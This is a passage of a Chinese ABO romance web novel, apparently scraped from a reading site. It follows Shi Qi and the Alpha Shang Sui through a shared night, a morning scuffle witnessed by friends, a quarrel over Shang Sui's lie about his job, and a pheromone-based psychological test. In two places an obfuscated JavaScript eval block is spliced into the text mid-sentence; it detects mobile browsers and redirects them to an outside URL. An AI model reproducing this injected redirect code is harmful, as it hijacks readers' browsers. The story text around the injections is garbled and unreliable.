想到这里,时绮无所畏惧凑了回来,顺便把一直盘旋在脑海中的问题问出口:“你能不能释放一点信息素?” 商随没有回答,反问道:“怎么,真要我伺候你啊?” 他说话时的语气轻飘飘。时绮的耳朵像是被扎了一下,耳根迅速烧起来。 时绮小声解释:“我们匹配度很高,听说这样睡觉比较舒服。” 咫尺距离的Alpha笑了声:“我也想舒服舒服。” 商随仿佛吃错了药,每一句话都带着侵略性,像是挑衅,又令人心跳加速。 只有一床被子,两人多多少少会接触到对方,感觉自己和他的大腿不知不觉贴在一起,时绮本想往回缩,商随下一句话却让他愣住。 “我喜欢抱着东西睡觉,我们互帮互助好了。” “什么意思?”时绮想了一圈,没想到有什么能让他抱的,只能警觉地问,“你想要我的枕头?” “……”商随头一次受不了他的迟钝,“我想要你。” 过分直白的话语令时绮的心脏不由自主颤动,他不太自在地四处乱瞟,心说这话怎么听着这么暧昧。 心绪起伏间,时绮的眼睛渐渐适应黑暗,已经依稀能看清Alpha的面容。 他能感觉到商随正目不转睛注视他,在等待回答。 给商随当抱枕? 时绮目露迟疑,怕抱在一起相互影响、睡不好觉。 商随没有催促,淡淡的甜香却似难以捕捉的云雾,扩散开来的信息素格外稀薄,勾得人心痒难耐。 时绮情不自禁抓紧枕头。 “过来吧,小绮。”悦耳的声音犹如难以挣脱的蛛丝,将人包裹其中,“这样我们都会舒服的。” 时绮抵抗了半分钟,果断钻进商随怀里。 蜂蜜的香气一瞬间变得浓郁,时绮心满意足和他贴近,嘴上却还要说:“林言都没你黏人。” 像是应和这句黏人,商随温暖的掌心慢慢抚摸过他的脊背,将他完全揽入怀中,不再留一丝空隙。 时绮耳根的热度又有升高的趋势。有那么一瞬间,几乎想开口让商随再摸摸他。 对于讨厌的人,时绮非常厌恶肢体接触。 但若是亲近的人,他其实很喜欢被抚摸。最好从脖颈一路摸到尾椎,细致的触碰会令全身泛起酥酥麻麻的电流。 不过稍微长大一些,时绮就不太好意思要求谁这样抚摸他了。 尤其在姜宥宁拒绝时安摸头之后,时绮有学有样,就算时安想碰他,也会跑得远远的。 时绮有一搭没一搭想着,竟是逐渐感到丝丝倦意。 他的身体在甜蜜的芬芳中慢慢放松,往日这个时间点无法停止运转的大脑也似得到安抚,不再紧绷。 仿佛对他来说,天底下再也不会有比这个怀抱更安心的地方。 时间流逝,窗外雨势只增不减。 巨大的闪电撕开夜幕,雷声滚滚而来,如同世界末日。 半梦半醒间,时绮还记得商随害怕,他伸手捂住枕边人的耳朵,迷迷糊糊嘟囔: “别怕,我会陪着你……” 和时绮不同,商随一直没有睡着。 时隔多年再次躺在一张床上、先前又讲述了一小部分过去,他的心情复杂到难以形容,各式各样的想法从脑海中呼啸而过。 直到时绮伸手捂住他的耳朵,一切戛然而止。 许久以后,商随在今夜第一次闭上眼。 年纪小一些的时候,他一度希望再也不要有这样的日子,每当这样的雷雨夜,他都感觉自己是无法被修正的错误。 但因为怀里相拥的温度,同六年前一样,他又一次觉得,世界若停止在这一刻也不算太糟。 “我真的很害怕。” 但不是害怕雷雨。 商随抱住沉睡的时绮,在黑暗中小声道:“不要再离开我。” 22.清白 一夜无梦。 时绮动了动眼皮,才意识到已经过去一晚。 窗帘留了些许缝隙,暴雨后的阳光透过细窄的一线,在室内散开一圈光晕。 朦胧之中,时绮不想睁眼,十分贪恋现在置身云端一般的惬意。 自从分化以来,他从来没有睡得这么好过。哪怕被人按在怀里、没有一丝一毫自由,时绮也并不介意。 但这样紧紧相依,没过一会儿,时绮开始觉得热。 他尝试性地推了推,抱住他的人却死死将他锢住,没法撼动分毫。时绮手指下滑,想寻找薄弱一些的地方,但摸到的都是结实的肌肉。 时绮摸得不耐烦,手直接往下一滑。 嗯? 不太对。 他好像碰到了另一个人的……! 似醒非醒间,时绮隐约感觉自己做错了事,一下子睁开眼睛。 他本想收回手,慌乱之下,竟是不小心捏了一把。 我靠……?! 时绮在心里绝望地骂了一句。 伴随轻微的哼声,一直沉睡的Alpha终于有了动静。 商随睫羽颤动,浅色的眸子微微睁开,半梦半醒睥睨过来。 那一眼看得时绮脊背发麻,彻底清醒,第一时间道歉:“对不起,我不是故意的!我手比脑子快!” 商随似乎也不怎么清醒,因为被触碰到极其敏感的地方,他表情不快,眉眼间满是侵略性。 “搞什么……” 商随低低说完,和时绮对视片刻,竟是将他翻过身。 时绮背对他侧躺在床上,单薄的腰被Alpha的手掌轻而易举禁锢。 这是要干嘛。 掐回来吗?姿势也不对啊? 不等时绮反应,啪地一声,屁股上不轻不重挨了一下。 算不上疼,但心理冲击格外强烈。时绮半边身子都麻了,整整愣了半分钟。 他、他被商随打屁股了? ……什么啊!时安都没打过他! 时绮的腿在床上蹬了一下,又羞又气,整个人都快烧起来。 但想到自己刚才造的孽,只能忍耐道:“这下可以了吧?我们扯平了。” 他背对着商随扭来扭去,却死活挣脱不开,身体不禁微微颤动。 时绮不可思议地想,商随不会还要打吧? 商随倒是没再打他的屁股,而是将他翻了个面,脸朝下按在床上。 时绮又一次意识到自己和他悬殊的力量差距,不仅如此,他能感觉商随轻轻嗅他的脖颈,像在确认他的味道是否符合心意。 Alpha呼吸时的气息落在敏感的腺体处,时绮脑海中闪过尖锐的牙齿,稍不注意,苍白的齿尖就会刺破肌肤、肆意品尝。 时绮浑身紧绷,想也不想道:“别弄我脖子。” 商随前半夜一直没睡好,好不容易入眠,被吵醒以为自己还在梦里。 听见他的反抗,商随竟是用指甲在腺体上划了一道,仗着梦境肆无忌惮道:“那你想我弄哪儿?” 比起虚心讨教,他的言语和动作都格外有压迫感,显得话里有话。 这话乍一听怪怪的,可时绮顾不上细想:“哪都不行,你快起来!” 时绮没想到商随起床气这么大,不仅脾气差,而且…… 感觉自己被无法忽视的东西抵住,时绮满脸通红。 更要命的是,一大早这么蹭来蹭去,他也无可避免受了影响。 因为紧张,时绮求救一般释放出些许信息素。 商随嗅到熟悉的气味,手指一顿,终于如梦初醒。 他试探性地握住Omega纤细的脖颈,手下的触感异常真实。 “嗯……?”商随慢半拍地嘀咕,“不是梦啊。” “本来就不是,快点放开我!”时绮挣扎的声音从手下传来。 商随很快松开手,没再压着他。时绮回头瞪了他一眼,快速缩到一旁。 珍珠白的睡衣在刚才挣扎时被扒下一部分,露出一小片光洁清瘦的背,Omega奶豆腐似的肌肤在晨光照耀下格外细腻。 商随喉结微微滚动,记忆一点点回笼,想到刚才都按着时绮做了什么,难得觉得自己有些过分。 他很快移开视线,不再看时绮。 但先前的记忆还是不断刺激着神经,商随掐了一下手心,逼迫自己停止。 两个人躺在床上,默契地隔了一段距离。 时绮逐渐平复下来,商随似乎也在跟他经历一样的事情,谁都没说话。 半晌后,商随调整好状态,率先打破沉默:“其实这样很正常吧?” 他的声音还带着些许沙哑,但他表现得格外坦荡,令刚才的一切都合情合理:“如果没感觉,才算有问题。” 时绮原本被自己的反应弄得十分尴尬,被商随一带,也觉得好像没什么大不了。 如果表现得太介意,倒显得大惊小怪,输了一头。 时绮目不斜视:“不用你说,我知道这样很正常。” “那就好。” 两人又沉默须臾,商随冷不丁道:“不过你大清早掐我一下什么意思,非礼我?” 时绮一口气险些没喘上来,难以置信重复:“我非礼你?” 商随直接曲解他的意思,故作为难:“这样不好吧,小绮。” “?” “虽然我们匹配度高,你对我有一些想法是人之常情。但我们Alpha还是很看重清白的,尤其是我这种尚未出嫁的——” 愤怒之下,时绮扯过枕头,猛地盖住他的头。 商随配合地被击倒,甚至吟叫一声,丝毫不见先前单手制住时绮的强势,看起来柔弱可欺。 “你能不能少说两句?鬼都没你能扯,你怎么不说跟你拉拉手就要娶你?” 打闹中时绮顾不了那么多,直接骑在商随身上。 他的睡衣本来就没拉好,衣服和发丝都分外凌乱,脸上还带着被气出的红晕。 忙着收拾商随,时绮没注意到有人敲门。 出于安全考虑,林言和时绮一直会多开一张房卡,相互交给对方。 他俩约好了一早去滑雪,一直没等到时绮的消息,敲门又不应,林言干脆直接刷他的门。 林言看见他坐在床上:“宝宝,你醒了怎么不——哈?!” 看清楚床上还有谁,林言的声音骤然变调。 时绮比较要脸,慌乱中扔了捂住商随的枕头。商随被时绮压着,露脸之后反而笑眯眯跟林言打了个招呼:“嗨,我们醒一会儿了。” 商随的话太有家属感,结合此情此景,造成的真实伤害瞬间翻倍。 林言已经分不清他俩到底是假情侣还是真情侣,茫然之下说出心里话: “你们……大清早就在骑马呢?” 初桃和苏昼刚好经过,初桃兴冲冲地问:“什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022816|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么马?酒店里哪来的马?……我靠!!我的天哪!!!!” 初桃捂住苏昼的眼睛:“苏苏不要看,他俩太过火了!” 苏昼急得不行:“小桃姐你快放手!你为什么不捂自己?我好想看!” 面对鸡飞狗跳的场面,时绮在重压之下反倒变得异常冷静,示意林言:“你先关门。” 林言:“关门继续是吧?您俩请。” 门拉上之前,初桃真心实意夸赞:“亲爱的,你是我见过最有种的Omega。” “……” “这下惨了,”商随看着身上强作镇定的时绮,又添了一把火,“他们会不会觉得你家暴我?” 商随眼角带着笑,眸光分外缱绻。 明明是不太好听的词语,经过他的嘴,却像是调情。 这人明摆着热闹不嫌事大。时绮才意识到,自己一直坐在Alpha结实有力的腰腹上。 屁股顿时烧了起来,时绮一蹦三尺高,飞速和他拉开距离。 商随笑得更开心:“哎呀,小绮这么在意名声啊?” “你赶紧走。”时绮看着他,感觉哪里都上火,不太自然地说,“不然我不介意坐实这个罪名。” “真的吗,”商随却说,“那你动手吧。” “……”疯子。 商随闹腾够了,慢吞吞从床上起来,抓起自己的外套穿在睡衣外。 离开之前,他像是想起什么,回头看时绮。 “谢谢你陪我睡觉哦。”商随自然而然道,“下次还想来。” 今早闹归闹,时绮已经很多年没有在起床后感到神清气爽、身体似乎都变得轻盈。不然他也没力气刚睡醒就跟商随大战三百回合。 如果没有今早这一通意外,这个觉就是完美的。 时绮最后矜持地说:“我考虑一下。” 洗漱过后,时绮下楼和林言汇合。 滑雪之前要多吃一些东西,时绮沉浸在睡眠充足的余韵里,看什么都无比顺眼,甚至多吃了一块草莓巧克力蛋糕。 “你和商随到底怎么回事?”林言回过味儿来,“真在一起了?我已经隐隐约约预感到会有这一天,但没想到来得这么快。” “没有,不是那样。” 时绮本想说商随害怕雷雨天,他俩才睡一起。转念一想,或许商随并不想让别人知道这件事。 时绮改口:“我找他陪我睡觉,你以前不是说,和高匹配度的Alpha睡一起会很舒服吗?这段时间一直没睡好,我想试试。” 林言也想起这件事,露出原来如此的表情:“可惜。” 时绮:“?”你在可惜什么? 但林言很快又觉得不对:“那你们今天早上是在……?” 时绮删繁就简:“睡醒时我掐了他一下,他打了我一下。然后就这样了。” 回忆起早上的情景,时绮的手指微微一动。 怎么感觉好像一只手都握不住…… 操,Alpha都这么变态吗?还是商随变态? 听时绮的描述像是小学生打架。林言总感觉哪里不对劲,却又说不上来,最后只能问:“那有用吗,你睡得好不好?” 时绮收起乱七八糟的想法:“如果商随不是活人,而是香薰抱枕一类的东西就好了。” 林言一愣:“为什么?” 面对林言,时绮丢掉矜持,说出真实想法:“我一定天天抱着他睡觉。” 23.争执 从小重山回来,时绮总感觉浑身乏力,手脚都软绵绵的。 “其实这样才正常。”林言道,“以前你发情期打了抑制剂就活蹦乱跳,反而说明你信息素水平过低。现在说不定增长了一些。” 可能病情也稍微有所好转? 怕提起时绮的病让他难过,林言便没提这茬。 “听起来我像二次发育了,”时绮的关注点却完全不在这,“能不能顺便长高一点。” “想得美。”林言比他高三厘米,慈爱地看着他,“你的名字和身高都是最好的安排。” “……” 如果只是提不起精神,倒还算好。 但自从和商随分开,时绮就没睡好觉,接连两晚凌晨五点多才合眼,宿舍楼下清晨扫雪的声音听得一清二楚。 Omega在发情期尤其敏感,他以往也常常失眠,但都没有这一次严重。就像是雷雨夜那晚和商随在一起睡得太好,出现了戒断反应。 发情期通常持续一周时间。时绮看了眼自己的课表,接下来两天都有早课。 再这样下去,他要么翘专业课,要么像鬼一样飘去教室。 思考再三,时绮给商随发了消息。 17:[你今天来学校吗?] 先约个饭,再顺势问问商随能不能一起睡觉。 如果商随同意,他们可以去酒店开个房。 Ss:[下午有课。] 太好了! 时绮唇角微微翘起,原本因为失眠而无神的双眼瞬间放光,似乎已经看见自己在酒店酣然入睡的美好未来。 17:[那我们约个饭?] 17:[上次因为舞社临时排练,最后都没约上。] 商随发了个小猫点头的表情。 怎么又是猫。 时绮在心里嘀咕一句,手上却快速点了保存。 时绮和林言的专业是化学工程,近期几周的实验课要求他们制作信息素香水,这周恰好到调整优化的最后一步。两人在实验室忙活一下午,终于做出一小瓶成品。 与一般香水相比,这种香水与AO信息素更为类似,常常被用来安抚发情期的Omega或易感期的Alpha,亦或是用于伪造及掩盖信息素气味等。 尽管不能真正替代信息素的功效,也是近些年颇受欢迎的新产品。 “你们做得很好,已经非常接近市面上的完成品了。”老师在他们这一组停下,目露赞许,“就像是真正的Alpha信息素。” 玻璃瓶里的成品散发出冷冽的苦艾香气,隐隐透出攻击性。 本来林言想做Omega的信息素香水,操作过程中意外多加了一些原料,最终变成了这样。 老师走后,林言道:“听说下周有实践活动,我们专业和生物工程一起去祁江。” 祁江四季如春,有国内最大的鲜花养殖中心,许多信息素香水、抑制剂和阻隔剂的原材料都是在那边提取的。 A大的化学类专业和生物类专业大二时都会去祁江进行实践活动,由于路途遥远,给的时间非常充裕。如果忽略写报告的部分就像学校组织的旅行。被学生们戏称为读这两个专业的最大福利。 “你说这不巧了,”林言想起什么,“秦书赫他们正好也要去祁江写生,本来要去宣城,临时更改了目的地。我怀疑是两个学校为了节省经费一起包车。” 能出去透风,自然比待在学校上课令人期待。 时绮饶有兴致多问了几句,林言已经快进到规划该怎么玩儿。听说那边酒吧很多、近期还能赶上当地的节日…… 商随在这时发来消息。 Ss:[我到了,在北门这边。] 17:[来了。] 还有几分钟下课,时绮跟林言打了个招呼,换下实验室穿的白大褂,套上自己的黑色羽绒服跑下楼。 远远的,时绮一眼看见了商随。 他也穿了羽绒服,是银色的短款,下面搭了阔腿裤。在一众裹成球的行人里鹤立鸡群。 真是不怕冷。 时绮忍不住笑了出来。 “心情很好?” 商随见到他,眼里也染上笑意。下一秒表情却微微变化:“小绮,有人抱过你吗?” “嗯?”时绮愣了愣。 “你身上有信息素的味道,”商随像是不太高兴,“好重。” “哦,是信息素香水,我下午都在实验室里。”时绮见他不说话,“你不喜欢苦艾的味道吗?” “不喜欢。” 准确说来,他是不喜欢时绮身上有任何其他的味道,但这话说出来太霸道、嫉妒一瓶香水也很没道理,他只能重复了一遍:“很不喜欢。” 知道Alpha天生相互排斥,但连信息素香水都要排斥的,时绮还是第一次见。 不过考虑到商随的信息素是甜的,苦艾的药味对他来说可能就和天敌一样? “那怎么办,我没带阻隔剂。” “我也没带。” “这样好了,”时绮伸出手,一把将他抱住,“长痛不如短痛,你给我蹭一下。” 不等商随反应过来,时绮已经进了他怀里。靠他的信息素压制苦艾的味道。 好舒服—— 时绮想。 可能因为他俩都穿的羽绒服,拥抱的感觉就像埋在蓬松柔软的被子里。 这两天紧绷的神经得到缓解,时绮心满意足,忍不住想象晚上睡觉有甜甜的信息素陪伴会有多惬意。 商随愣了愣,有意识之前,已经抬手回抱住他:“你怎么……”今天这么热情? 时绮懒洋洋地打了个哈欠,在他怀里不自觉放松下来,几乎想闭上眼。 有人在这时冲他们按了按喇叭,时绮不太高兴地撩起眼皮,看见一辆宾利停在不远处。 驾驶座上的人戴着细框眼镜、衣冠楚楚,明知故问道:“没打扰你们吧?” 时绮还记得上次那个开跑车Alpha在校门口搞出的闹剧,第一时间看向商随:“这次又是你什么人?” 商随正在思考沈千俞到底是特意来逮他的,还是恰好路过。 不管哪一个都不太妙。商随沉默须臾,选择胡扯:“司机。” 时绮:“?”你家司机长这样? 商随装模作样道:“今天不用接我,你可以回去了。” 沈千俞没管他,拉开车门下来:“江砚说上次就是在这儿碰见你的,我刚好路过,没想到还真能遇上。” 刚才在车里看得不太真切,注意到他真的跟一个Omega抱在一起,沈千俞不由得挑了一下眉。 “已经十二月了,你得跟我去一趟医院。” 看见有人过来,时绮松开手站到一旁。 原本抱得好好的,被这么一打断,商随语气不善:“怎么,江砚愿意见你了?” 沈千俞笑笑,没有接茬。 他示意道:“你不介绍一下?” 商随看了眼状况外的时绮,忽然福至心灵。 他伸出手,难分难舍地重新将人捞进怀里,炫耀一样道:“这是我男朋友。” 说罢,他又跟时绮介绍:“沈千俞,我朋友。” 时绮被他从后面抱着,一时反应不过来。 在商随的朋友面前也要装情侣吗。 需要这么严谨?商随的牺牲是不是太大了? 一道压得低低的声音在他耳边响起:“刚想跟你说,我家里最近催婚,可能也要麻烦你帮我应付一下。” 商曜和虞晚从不干涉他的个人生活,江砚一度十分羡慕商随家里从不催婚、将来也不用去联姻。 但从今天起让他俩“催”一下,也是没问题的。 商随心不在焉想。 回去打个电话好了。 原来如此,互帮互助是吧。 时绮给了他一个没问题的眼神,立即上岗:“你好,我叫时绮。” 沈千俞的目光不由得落在他身上。 巴掌脸、眼尾上挑、皮肤雪白,被商随抱着,就像被禁锢在怀里的洋娃娃。 按照商随的性格,如果是名正言顺的对象,早就弄得人尽皆知。 更何况这个Omega身上满是苦艾的信息素气味,怎么看怎么不妙。 沈千俞思考片刻,认真地说:“如果你是被他强迫的,我可以帮你报警。” 时绮:“……?”这是在开玩笑? 沈千俞:“不要害怕,我手上有很多他的把柄。” “胡说八道什么呢小沈。”商随脸上挂着笑,语气却阴恻恻的,“我们明明是天造地设的一对,别想来拆散。” 说话的同时,Alpha修长结实的手臂收拢,把时绮抱得更紧了些。 比起他口中天造地设的一对,更像缠上来索命的厉鬼。 时绮没觉得哪里不对,配合地说:“嗯,我们谈一个月了。” “……好的,我明白了。” 一想到居然有人能忍受商随的脾气和拖延症,沈千俞发自内心道:“你辛苦了。” 时绮没想到对方继“报警”后流露出十分钦佩的神色,而且不像是开玩笑,不免感到疑惑。 商随性格不是很好吗,为什么沈千俞描述得跟进了狼窝似的? 不过比起这些,时绮有更好奇的事:“你为什么叫他去医院?” “他需要定期做检查,但一直拖着。” 特殊易感期属于个人隐私,数据库会对此进行加密。除非本人同意,正常情况下他人无权泄露信息。 注意到商随给自己使眼色,沈千俞自然而然将话题揭过:“这个月月底就要截止了,你到底准备多久过来?” 看样子商随找的这个小朋友什么都不知道? 这就有点意思了。 时绮自己也要定期检查,没觉得有什么奇怪:“既然你朋友都找了过来,今天还是去医院吧。” 他知道有些人害怕上医院,林言每次体检都会拖延,生怕查出自己有病。 时绮以为商随跟林言八斤八两,安慰道,“你看着很健康,应该没病。” 商随似乎不知道该怎么接话,啊了一声,表情略显奇怪。 半天没等到回应,时绮不耐烦地拍拍他的手臂:“快点去,我陪你。” 根据沈千俞的经验,大概要拖到最后一周,商随才会卡着点过来做心理测评。 谁催他都不好使,哪怕虞晚来劝也没用。 却没想到,商随被拍了一下,竟然乖乖答应:“那好吧。” 惊讶过后,沈千俞立即对时绮道:“谢谢你。” 拖了小半年的事情意外有了进展,沈千俞如沐春风,看时绮就像看活菩萨:“能交换一下联系方式吗?” 下次遇见类似的情况,他还能找时绮帮忙。 商随皱眉,有些警觉地问:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15036809|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么意思?” “……” 沈千俞没想到他连这种飞醋都吃,用看疯子的眼神看向他。 半晌后,他扭头看向时绮,一本正经道:“我们少爷脑子一直有点儿问题,从小就爱抽疯。” “以后还请你多担待。” - 时绮没想到,沈千俞竟然是宁山医院的副院。 宁山医院擅长治疗ABO性别相关的疾病,时安曾经想让时绮来这边看一看腺体退化症。后来确定现有的医疗手段对这一罕见病没有作用,也就没再折腾。 商随跟沈千俞去做登记。时绮一个人待着无聊,正巧又有些饿,准备先喝点饮料垫垫。 他在一楼找到咖啡店,点了一杯热巧克力。取单离开前有人在他旁边道:“哎,稍等一下!” “我们是不是见过?” 时绮转过头,看见一张清俊秀气的脸。 “是你啊,”时绮对江砚印象深刻,脱口而出,“那个说话很肉麻的Alpha。” “……” 江砚被他噎了一下。心想这小孩看着挺乖,怎么一开口嘴这么毒:“你是生病了吗?” 时绮摇摇头:“陪商随过来做检查。” 上次在A大门口碰见商随和时绮,江砚回去反复思考半天,除了得出“沈千俞可能暗恋商随”这一离谱的结论,同时也意识到自己说错了话。 他以前从没见商随这么哄着谁,时绮是第一个。 难怪商随当时那么不爽,感情是嫌他碍事。 …… 而且这小孩儿连商随需要定期做心理测评都知道了,进展飞速啊。 江砚再看他,眼里不由得带上八卦的意味:“你跟我们小随哥哥的关系是……?” 经过多次锻炼,时绮已经能在提起假情侣关系时面不改色心不跳:“我们在谈恋爱。” 想到商随说他家里催婚,时绮特意补充:“方便的话,你可以跟他家里提一下。” “啊?哦……好。”江砚十分稀奇地看着他,笑着说,“上次没来得及问,你叫什么名字啊?我叫江砚。” “时绮。” 时绮的名字很特殊,江砚微微一愣,和他确认一遍具体的字,恍然大悟道:“那你不就是商随陪过的客人?” 江砚嘀嘀咕咕:“这么说来,你们还是在我这儿认识的……难怪呢,我说他怎么突然愿意签绘涧的合同。” 时绮捕捉到关键词:“绘涧的合同?” 既然他俩在谈恋爱,自然知晓彼此真正的身份。江砚笑道:“你忘了?你们第一次见面的时候,你以为他是绘涧的侍应生。其实那天他是过来帮忙看庭院布置的。” “后面你遇见意外,要求他再陪你一次作为补偿。我当时以为他不会去,结果他还真上岗了。这么一想你俩的相识过程还挺浪漫的。” 江砚补充道:“忘了说,我是绘涧的老板。” 话到这里,他才发现对面的人表情不太对。 时绮逐渐意识到真正的情况与自己一直以为的截然不同。 他在脑海中理了一遍江砚的话,声音透出一股凉意:“你的意思是,商随根本不是绘涧的侍应生?” 那最开始为什么要答应陪他,故意耍他吗? 江砚被他问得一愣:“你不知道吗。” 时绮面无表情:“现在知道了。” 江砚:“……”完蛋。 “小绮?” 商随的声音在这时插了进来,见时绮站在原地一动不动,两三步上前道:“找了你半天,怎么不回消息?” 时绮平时看起来不爱搭理人,但只要他叫,都会给回应。 和往常不同,时绮这次一言不发。气氛似乎不太对。 注意到一旁的江砚,商随目光微顿:“你们怎么在一块儿?” 饶是心里窝火,时绮也不可能在商随的朋友面前和他起争执。 他压了压脾气,对江砚道:“那我们先走了,下次再见。” 江砚讪讪道:“那个……” 时绮扭头就走。商随顾不上江砚,匆匆丢下一句:“等会再说。” 见他俩一前一后离开,江砚留在原地,十分不安地抓了一下头发,终于忍不住捂住自己的嘴:“都说了把嘴闭上把嘴闭上——!” 他什么时候才能改掉一见到有好感的人就喜欢滔滔不绝的毛病? 这下完了。 要是他俩因此分手,商随不会杀了他吧? 慌不择路下,江砚给沈千俞发了一条消息:[救命,我闯祸了!] 医院中央的花园里有一栋恒温的玻璃花房,相较于人来人往的大厅,这边要安静许多。 踏入花房内,确定周围没有人,时绮直截了当道:“我刚才听江砚说,你不是绘涧的侍应生。” 片刻过后,商随轻声答应:“嗯,我不是。” 时绮皱了皱眉,表情冷下来。 江砚还真没胡说八道。 以往时绮会对其他人流露出抗拒的神色,却从来没在他面前表现过。 商随第一次见他这样,心里不安,下意识想拉住他:“抱歉,我当时——” 时绮退后一步,避开他的手。 紧接着,商随听见他闷闷的声音。 “我现在有点儿不高兴。” 几步之遥的Alpha像是被一句话禁锢的猛兽,硬生生停下脚步。 24.好朋友 看得出时绮暂时不想听他扯东扯西,商随张了张口,最终维持沉默。 须臾过后,时绮率先道:“你先去做检查,做完再说。” “好。”商随问,“那你还愿意等我吗?” “……” 迟迟没等到回答,商随直勾勾看着他,语气却透出祈求的意味:“可不可以不要走。” 时绮站在瀑布般的蓝花楹下,冷色调的夜灯透过花枝,在他眼中切割开零碎的影子。 他脸上的肌肤也透出冷调的白,欺霜赛雪,漂亮得不近人情。 时绮最终淡淡地说:“看我心情吧。” 沈千俞见商随回来,微微蹙起眉。 通常情况下,商随不会有太大的情绪起伏,碰上不高兴的情况,他脸上反而会挂着笑。但现在他面无表情,显然心情已经糟糕到一定境界。 “我听江砚说,你跟时绮起了争执。”沈千俞开口道,“之前怎么不打个招呼?江砚不知道什么不能说。” 刚才江砚着急忙慌发了一长串消息,就差把“救救我”三个字写在脸上。 沈千俞不着痕迹地多加了一句:“江砚嘴上没谱,但你如果提过,肯定不会多嘴的。” “没想故意瞒着。” 一想到时绮刚才冷冰冰的模样,商随烦躁地说:“他早晚会知道,只是没想到来得这么快。” 沈千俞叹了口气,能理解商随的做法。 听江砚的描述,他俩的相识属于将错就错。 如果跟江砚通过气、再做一份相应的员工资料,可能时绮永远不会知道真相。但那样算是故意隐瞒。 将错就错的和故意隐瞒,归根到底不一样。 即使心情不佳,商随也不喜欢把自己的情绪带到别人身上。 他稍微冷静下来,对沈千俞道:“先做测评吧。” 沈千俞却反问:“你确定现在可以做?” 空气中漂浮着蜂蜜的气味,往日甜腻的味道无端显得压抑,宛若黑沉的云雨。 对商随来说,控制不好信息素的情况十分罕见。 特殊易感期的心理测评很大程度上需要依据信息素的稳定程度进行判断。用这种状态做测评,没病都能测出有病。 “可以。” 商随说可以就是可以,饶是心里不太赞同,沈千俞还是点了头:“行。” 两人来到封闭的隔间,商随熟练地服下早已备好的药剂,在沈千俞的帮助下摊开手,右手手臂和腺体贴上传感器贴片,再相继连接检测信息素的仪器。 服用药剂后,信息素会被最大程度诱导出来,仪器则会依据信息素变化实时检测受试者的情绪。效果类似于测谎仪,却更为精准复杂。 之所以不喜欢做心理测评,除却其他原因,服用药剂后信息素不受控的情况也十分令人抵触,如同退化为受本能驱使的动物。 察觉到自己的信息素被迫开始不受控,商随说出心里话:“无论做多少次,都感觉很不爽。” 沈千俞戴着半遮脸的隔离面罩,也依稀能嗅到空气中躁动的气息。 他毫不留情拆穿他:“我看你是为别的事情不爽。” 商随不置可否,沈千俞同他确认:“开始了?” “因为你现在有了伴侣,测评内容会做相应的调整。” 想到他才跟时绮吵完架,沈千俞没忍住笑了笑,很快又一本正经道:“不过你们现在还在接触阶段,并不算真正意义上的伴侣,这一部分不会太严苛。” “……”真是哪壶不开提哪壶。 商随认命道:“开始吧。” 通常情况下,心理测评最好在闲谈一般的氛围下进行。 过度紧张会导致信息素外溢,影响仪器检测的结果,受试者需要适度地放松,与医生建立一定程度的信任。 从这个角度来说,Alpha天生相互排斥、Omega难以承受信息素压力,为保证测评结果不受外界影响,大多数持有执照、负责特殊易感期心理测评的医生都是Beta。 不过沈千俞跟商随熟悉,像这样放松地谈话并不困难。 商随对常规的提问驾轻就熟,屏幕上的波形也一直处于稳定状态,直到测评进行到最后一阶段。 “接下来是和伴侣有关的问题。” 稍微麻烦一些的问题商随都回答得很好,周身的信息素也一直处于稳定状态,沈千俞没觉得这类新增的小问题会出现意外。 “面对你的伴侣,易感期时你会有无法遏制的冲动吗?” 问出口后,沈千俞又觉得不对:“你们交往才一个月,你还没经历过易感期,不用回答。” 正准备翻过这一页,一道声音忽然响起: “有的。” 沈千俞愣了愣:“哪种程度?” 资料上的选项都不太好听,他挑了个程度最轻的:“类似于彻底的占有,甚至于囚禁?” 商随没有说话,检测屏幕上一直平稳的波形却突然跳了一下。 沈千俞啧了声:“你不是吧。” 大家对彼此的老底心知肚明。商随没觉得丢人,反问道:“你没想过?” “……” 确定他的数值还在正常范围,沈千俞收回目光,轻描淡写道:“易感期有这类想法是正常的,相较于普通Alpha,特殊易感期会进一步放大攻击性和侵略性,让你产生更为强烈的欲望。” “只要日常生活中能控制,不必有太大的心理负担。” 沈千俞问出下一个问题:“你会伤害他吗?” 商随回答得很快:“不会。” 沈千俞的手指轻轻敲击桌面,觉得两次答案之间的矛盾十分奇妙。 有无法遏制的冲动、却又不会伤害? 但从仪器检测的结果表明,商随说的确实是真心话。 翻过这一页,最后一个问题令沈千俞目光微顿。 他倒不是真的想踩商随的痛脚,但这行字白纸黑字写在末尾,与现在的状况意外有些许相似。 他多少怀了看好戏的心理,镜片后狭长的眼睛染上探究的意味: “如果你的伴侣选择离开,你会怎么做?” 前面的问题商随都回答得很快,此时此刻,密闭的空间却一反常态安静。 仪器运行时发出轻微的声响。似乎因为坐得太久,商随略微活动了一下未与传感器相连的左手手臂,修长的五指握紧又松开。 “如果他不喜欢我、不想再见,我不会再去打扰。” 屏幕上的波形图并无明显波动,检测到的信息素证实他情绪平稳,没有说谎。 “……过去很多年,我一直是这样想的。” “但现在,我好像做不到了。” 清晰而缓慢的声音如同毋容置疑的宣告。话音落下,屏幕上一直相对平稳的波形突然开始狂跳! 